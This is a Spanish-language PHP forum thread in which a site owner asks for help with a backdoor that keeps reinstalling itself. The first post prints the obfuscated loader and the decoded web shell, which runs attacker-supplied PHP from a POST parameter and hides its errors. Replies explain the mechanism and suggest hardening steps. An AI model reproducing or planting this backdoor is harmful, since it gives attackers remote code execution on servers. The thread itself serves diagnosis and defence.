Foros del Web » Programando para Internet » PHP »

Ataque eval(gzinflate(base64_decode...

Estas en el tema de Ataque eval(gzinflate(base64_decode... en el foro de PHP en Foros del Web. Se ha creado en la raiz de mi web y en cada uno de los directorios un archivo default.php con el siguiente código ofuscado: Código ...
  #1 (permalink)  
Antiguo 30/01/2013, 12:05
 
Fecha de Ingreso: agosto-2011
Mensajes: 12
Antigüedad: 12 años, 8 meses
Puntos: 5
Ataque eval(gzinflate(base64_decode...

Se ha creado en la raiz de mi web y en cada uno de los directorios un archivo default.php con el siguiente código ofuscado:

Código PHP:
<?php eval(gzinflate(base64_decode("FZRFrsUIggTv0qsqeWEmjXphZsbnzcjMzD79/LlASpkZiv....etc...
Utilizando un decodificador online ( http://www.tareeinternet.com/scripts/decrypt.php) aparece lo siguiente:

Código PHP:
@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fpLOCK_EX); @fputs($fp$_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fpLOCK_UN); @fclose($fp); } } exit; 

He pasado un antivirus en mi ordenador, he cambiado las contraseñas en mi FTP y he limpiado todo código malicioso, archivo por archivo, de mi web, sin embargo, al cabo de un par de dias vuelve a crearse el default.php.

Haciendo un site:midominio.com veo que se han indexado gran cantidad de URL's, que se dirigen a productos farmaceuticos...


Os agradecería alguna manera de evitar, de forma definitiva, la creación de archivos no deseado en mi web.

Gracias
  #2 (permalink)  
Antiguo 30/01/2013, 13:10
Avatar de dashtrash
Colaborador
 
Fecha de Ingreso: abril-2007
Ubicación: Ni en Sevilla,ni en Sanlúcar..qué más da..
Mensajes: 927
Antigüedad: 17 años
Puntos: 270
Respuesta: Ataque eval(gzinflate(base64_decode...

Si tu web tiene un agujero de seguridad, mientras lo tenga, se podrá seguir explotando para introducir ese mismo fichero...Eso, en caso de que no existan otros ficheros por ahí.Básicamente, cuando han introducido ese fichero en tu sistema, pasan cualquier código php en $_POST['e'], y ejecutarlo en tu servidor..Eso puede crear otros ficheros, permitirle autoregenerarse...

Si no necesitas escribir ficheros desde tus php, puedes modificar los permisos de las carpetas donde está tu web, para impedir que el usuario con el que ejecutas el servidor web pueda escribir en ellas.
  #3 (permalink)  
Antiguo 30/01/2013, 15:42
 
Fecha de Ingreso: agosto-2011
Mensajes: 12
Antigüedad: 12 años, 8 meses
Puntos: 5
Respuesta: Ataque eval(gzinflate(base64_decode...

dashtrash gracias por tu repuesta. Todos los permisos de los directorios están en 755 y de los archivos en 644.

La web no tiene ningún CMS, es una web sencilla realizada en PHP y MySQL.

Ya se que es difícil sin ver el código, pero ¿Cuales son los agujeros de seguridad más habituales?.

Gracias
  #4 (permalink)  
Antiguo 30/01/2013, 16:14
Avatar de dashtrash
Colaborador
 
Fecha de Ingreso: abril-2007
Ubicación: Ni en Sevilla,ni en Sanlúcar..qué más da..
Mensajes: 927
Antigüedad: 17 años
Puntos: 270
Respuesta: Ataque eval(gzinflate(base64_decode...

Y el dueño de esos directorios y carpetas es el mismo usuario bajo el que se ejecuta Apache?
Lo de que es una web sencilla...
Lee este hilo.
  #5 (permalink)  
Antiguo 30/01/2013, 16:18
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: Ataque eval(gzinflate(base64_decode...

sube algun codigo de algun formulario y su procesamiento para ver posibles fallos que has podido cometer , pasas variables por url? , usas algun metodo de escape o ninguno?

Última edición por webankenovi; 30/01/2013 a las 16:40
  #6 (permalink)  
Antiguo 31/01/2013, 07:43
 
Fecha de Ingreso: agosto-2011
Mensajes: 12
Antigüedad: 12 años, 8 meses
Puntos: 5
Respuesta: Ataque eval(gzinflate(base64_decode...

dashtrash
  • La web está alojada en un hosting compartido de pago. Por lo tanto no tengo acceso a la configuración de Apache. Yo soy el dueño de la web pero no del hosting.
  • Lo de la web sencilla lo comento porque es una web que tiene algunas secciones estátitas en html y otras con php y MysQL donde se almacenan artículos que se muestran por categorías cuando se realiza alguna busqueda.
  • Gracias por el hilo que me dejas.


webankenovi
  • Sólo hay dos formularios en la web: el de busqueda y otro, que tras rellenar los datos se envía una especie de boletín con mail(....etc..).
  • El servidor tiene las register_globals en off.

Aquí te dejo algunos extractos muyy resumidos para que veas como se recogen las variables:

El de el Boletín:






El del Búsqueda:







Saludos y gracias
  #7 (permalink)  
Antiguo 31/01/2013, 08:53
Avatar de BloodShadow  
Fecha de Ingreso: marzo-2010
Ubicación: El Salvador
Mensajes: 393
Antigüedad: 14 años, 1 mes
Puntos: 52
Respuesta: Ataque eval(gzinflate(base64_decode...

Con el poco codigo que das no basta para ver si hay fallos en subidas de archivo o algo... pero si se puede ver que puedo meter barbaridad de sql injection o cross scripting =D utiliza frameworks (codeigniter, php cake, etc) o al menos la libreria PDO de php para evitar estos problemas...
  #8 (permalink)  
Antiguo 31/01/2013, 12:20
webankenovi
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: Ataque eval(gzinflate(base64_decode...

como te dice BloodShadow tienes algunos agujeros que deberias arreglar, escapa todos los datos que proviene de $_POST y verifican que son del tipo que tendrian que ser y un captcha ,ademas deberias usar consultas sql preparadas , no usar mysql ya deprecada,

tienes algun .htaccess en tu web ? , si no es asi estas tardando en configurar uno y proteger directorios y archivos .

tienes algun sistema de seguimiento de usuarios ? guardas las ips etc....? te pregunto esto por que si es asi , puedes hacer una cosa , abre el archivo creado default.php y mira la hora de la ultima modificacion y ya sabiendo la hora y el dia , mira tu sistema de usuarios y mira a la hora que fue creado que usuarios habia navegando y asi puedes mas o menos identificar quien ha podido ser y banearlo , aunque esto no valga para mucho por lo menos algo es. (y si no lo tienes estas tardando en crearlo)

desactiva , allow_url_include, allow_url_fopen

Última edición por webankenovi; 31/01/2013 a las 12:30

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 02:02.